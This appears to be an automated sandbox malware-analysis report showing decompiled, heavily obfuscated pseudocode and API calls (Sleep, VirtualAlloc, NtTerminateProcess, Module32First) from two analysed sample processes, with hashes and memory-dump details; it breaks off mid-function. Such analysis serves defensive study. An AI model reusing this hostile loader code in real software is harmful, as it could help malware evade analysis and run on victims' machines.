Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: c3ba88ad5417a97d7029a1f8d772838078230e27f444f4252f7f35e41dd2f9a9
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 81011E70C0425CEAEB14DB98C5183EEBFB5AF41308F14809DC5492B342D7769B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: vfgiwcs PID: 6840 Parent PID: 6824 vfgiwcsCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000013.00000002.349836930.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_vfgiwcs.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000013.00000002.349836930.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_vfgiwcs.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000013.00000002.349836930.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_vfgiwcs.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: B1B2.exe PID: 6924 Parent PID: 3472 B1B2.exeCOMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	16%
Signature Coverage:	0%
Total number of Nodes:	387
Total number of Limit Nodes:	5

Executed Functions

Function 004027CA, Relevance: .4, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000014.00000002.400667578.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_B1B2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction ID: 0338b83136466491310ec3fcb80edeb4c240d654d82b0732370eb0c756bdbeb0
Opcode Fuzzy Hash: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction Fuzzy Hash: D4C1B93210E141DFEB00AE24EEC98DAFB65FF1633477001ABD8426B1D2C67B5542DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0208003C, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0208024D

Strings

kernel32.dll, xrefs: 0208008F, 02080095
cess, xrefs: 0208018D

Memory Dump Source

Source File: 00000014.00000002.401110777.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2080000_B1B2.jbxd

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 4813d6fbb947531ca2cdd0a605f1f06475a1da202ea37745f144eb539dfb3bbf
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: E4527A75A01229DFDBA4CF58C984BADBBB1BF09304F1480D9E54DAB351DB30AA89DF14

Uniqueness

Uniqueness Score: -1.00%

Function 02080DF8, Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02080223,?,?), ref: 02080E02
SetErrorMode.KERNELBASE(00000000,?,?,02080223,?,?), ref: 02080E07

Memory Dump Source

Source File: 00000014.00000002.401110777.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2080000_B1B2.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 37e51b8472b0fe89cd6ff791baadd57aa521ca7ed4a22b66da06f6d1e798bb83
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 09D0123224522CB7DB412A94DC09BCEBB5C9F05BABF008021FB0DE9581CBB09A4046EA

Uniqueness

Uniqueness Score: -1.00%

Function 020707A6, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 020707EE

Memory Dump Source

Source File: 00000014.00000002.401092535.0000000002070000.00000040.00000001.sdmp, Offset: 02070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2070000_B1B2.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: bbaea838ef06c54387944329df440e084b8c59532b2f10ba35eb8a79f46d4bb7
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 5FF09631D017116FE7213BF5D88CB6F77EDAF49665F100668E643910C0DB70E8459E65

Uniqueness

Uniqueness Score: -1.00%

Function 02070465, Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 020704B6

Memory Dump Source

Source File: 00000014.00000002.401092535.0000000002070000.00000040.00000001.sdmp, Offset: 02070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2070000_B1B2.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: df7fc049a16a3c527d2240234ea1754ecced61ae12bf68872125e3dc746a4ab1
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 7C113C79A40208EFDB01DF98C985E98BBF5AF08350F0980A4F9489B361D371EA50EF84

Uniqueness

Uniqueness Score: -1.00%

Function 00402A07, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 29%

			E00402A07(void* __edi, signed int __esi, void* __fp0) {
				signed int _t51;
				void* _t53;
				signed int _t56;
				void* _t59;
				void* _t62;
				void* _t65;
				void* _t67;
				void* _t71;
				void* _t72;
				void* _t81;
				void* _t85;
				void* _t86;
				void* _t91;
				void* _t92;
				signed int _t109;
				signed int* _t132;
				void* _t137;
				void* _t140;
				void* _t143;
				intOrPtr _t145;
				signed int* _t146;
				signed int _t147;
				void* _t149;
				signed int _t150;
				void* _t152;
				signed int _t153;
				signed int _t154;
				void* _t159;
				signed int _t160;
				signed int _t161;
				signed int _t166;
				void* _t174;
				void* _t181;
				signed long long _t183;

				_t181 = __fp0;
				_t153 = __esi;
				_t149 = __edi;
				asm("out 0x59, eax");
				asm("rcr byte [esi], cl");
				asm("fsubr dword [esi-0x2da4a48c]");
				asm("cmpsd");
				asm("movsb");
				asm("cs cmpsd");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x59c6df54]");
				_t145 = ds;
				 *(__esi - 0x2f) =  *(__esi - 0x2f) | __esi;
				_pop(_t81);
				_t51 = _t154;
				_t4 = _t51 + 0x4ab073ae;
				_t146 =  *_t4;
				 *_t4 = _t145;
				asm("enter 0x9e6f, 0x38");
				asm("cmc");
				 *__esi =  *__esi ^ __esi;
				asm("rcl byte [edi+0x7f], 1");
				asm("fcomp dword [edi+0x795eb05f]");
				asm("lds esi, [eax+0x45b3f1a9]");
				_t166 = _t51 & 0xb345b3f1;
				asm("movsb");
				asm("movsb");
				_t140 = 0x9d;
				_t53 = E00401277(0x2a84, _t81, __edi, __esi, 0x5e, _t166);
				_pop(_t85);
				 *(_t85 + 0x3e) =  *(_t85 + 0x3e) ^ 0x00000012;
				_pop(_t86);
				 *((intOrPtr*)(_t86 + 0x35)) =  *((intOrPtr*)(_t86 + 0x35)) - _t86;
				asm("aaa");
				_t91 = 0x5b5b695b;
				 *((intOrPtr*)(_t91 + 0x3e)) =  *((intOrPtr*)(_t91 + 0x3e)) - 0x12;
				_pop(_t92);
				 *((intOrPtr*)(_t92 + 0x68)) =  *((intOrPtr*)(_t92 + 0x68)) - _t92;
				asm("aaa");
				asm("aaa");
				_t109 = 0x5b5b695b;
				asm("das");
				_t160 = _t159 - 1;
				_t56 = _t53 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t156 = 0xdea4a4a7;
				asm("wait");
				_push(_t160);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t153);
				_t150 = _t149 -  *0xFFFFFFFFDEA4A4EF;
				_t168 = _t109 ^ _t150;
				if((_t109 ^ _t150) < 0) {
					_pop(_t132);
					_t153 = _t153 +  *((intOrPtr*)(_t56 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t156 = 0xdea4a4a7 - _t150;
					asm("int3");
					 *_t132 =  *_t132 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t137 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t71 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t71 - 0x15)) =  *((intOrPtr*)(_t71 - 0x15)) + _t137;
					_t72 = _t71 + 0xf4eb4097;
					asm("movsd");
					_t140 = 0x9a;
					_t56 = E00401277(_t72, _t137, _t150, _t153, _t156, _t168);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t160 = 0x10eba4a4 |  *(_t153 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t161 = _t160 |  *(_t153 + _t156 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t161);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t183 = (_t181 - _t146[0x1a]) *  *_t146;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t147);
					asm("salc");
					_t183 = _t183 +  *_t153;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t56;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t56 = 0x49;
					_t148 = _t147 ^  *0xd05b5b70;
				} while ((_t147 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t152);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t153);
				_t174 = _t140 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t59 =  *_t161;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t59, 0x688e1679, _t152, _t153, 0x13eba4a4, _t174);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t62 = E004025E8(_t152, _t153, _t174); // executed
				_t175 = _t62;
				if(_t62 != 0) {
					if(E00401F34(_t152, _t175,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L26:
						_t180 = gs;
						if(gs != 0) {
							_t65 = 0x688e6ab7;
							_t143 = 0x2ef8;
						} else {
							_t65 = 0x688e471e;
							_t143 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t143);
						_push(_t65);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t148, _t180);
						_t67 = 0x2c1c;
						_t62 = E00401277(_t67, 0x688e1679, _t152, _t153, 0x13eba4a4, _t180);
					} else {
						_t62 = E00402255(_t183,  *((intOrPtr*)(0x13eba4a0)));
						_t177 = _t62;
						if(_t62 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t62 = L00402321(0x688e1679, _t152, _t153, _t177, _t183);
							_t178 = _t62;
							if(_t62 != 0) {
								_t62 = E00401FF1(_t178, _t183,  *((intOrPtr*)(0x13eba4a0)));
								if(_t62 != 0) {
									goto L26;
								}
							}
						}
					}
				}
				return _t62;
			}

0x00402a07
0x00402a07
0x00402a07
0x00402a07
0x00402a0b
0x00402a0f
0x00402a16
0x00402a17
0x00402a18
0x00402a1a
0x00402a1f
0x00402a20
0x00402a21
0x00402a22
0x00402a2c
0x00402a2d
0x00402a36
0x00402a39
0x00402a3a
0x00402a3a
0x00402a3a
0x00402a40
0x00402a44
0x00402a45
0x00402a47
0x00402a4a
0x00402a50
0x00402a52
0x00402a57
0x00402a58
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000014.00000002.400667578.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_B1B2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction ID: 28c32271fa903d2e502f5c43ee7f2935ae1d22089060b7f4ec41985c8baa115a
Opcode Fuzzy Hash: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction Fuzzy Hash: A6717732109101DFEB00AE64EECA59AFB64FF1937477001ABDC416F1E2C37B5542DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A5E, Relevance: .2, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E00402A5E(void* __ebx, void* __ecx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t123;
				void* _t126;
				signed int* _t128;
				signed int _t129;
				void* _t131;
				signed int _t132;
				void* _t134;
				intOrPtr* _t135;
				void* _t136;
				void* _t140;
				signed int _t141;
				signed int _t142;
				void* _t155;
				void* _t162;
				signed long long _t164;

				_t162 = __fp0;
				_t135 = __esi;
				_t131 = __edi;
				_t128 = __edx;
				asm("sbb al, 0xb8");
				_t123 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t136, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t141 = _t140 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t137 = 0xdea4a4a7;
				asm("wait");
				_push(_t141);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t135);
				_t132 = _t131 -  *0xFFFFFFFFDEA4A4EF;
				_t149 = _t90 ^ _t132;
				if((_t90 ^ _t132) < 0) {
					_pop(_t113);
					_t135 = _t135 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t137 = 0xdea4a4a7 - _t132;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t123 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t132, _t135, _t137, _t149);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t141 = 0x10eba4a4 |  *(_t135 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t142 = _t141 |  *(_t135 + _t137 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t142);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t164 = (_t162 - _t128[0x1a]) *  *_t128;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t129);
					asm("salc");
					_t164 = _t164 +  *_t135;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t130 = _t129 ^  *0xd05b5b70;
				} while ((_t129 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t134);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t135);
				_t155 = _t123 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t142;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t134, _t135, 0x13eba4a4, _t155);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t134, _t135, _t155); // executed
				_t156 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t134, _t156,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L24:
						_t161 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t126 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t126 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t126);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t130, _t161);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t134, _t135, 0x13eba4a4, _t161);
					} else {
						_t51 = E00402255(_t164,  *((intOrPtr*)(0x13eba4a0)));
						_t158 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t134, _t135, _t158, _t164);
							_t159 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t159, _t164,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L24;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a5e
0x00402a5e
0x00402a5e
0x00402a5e
0x00402a60
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000014.00000002.400667578.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_B1B2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction ID: 14214452042e6ecbc914254f67d2709232b961f867d8ebf06c643147f3da40d9
Opcode Fuzzy Hash: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction Fuzzy Hash: 5151443200D141DEEB00AE64AEDA5AAFB64FF15378B3001B7DC416E1E6C37A5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A68, Relevance: .2, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E00402A68(void* __ebx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
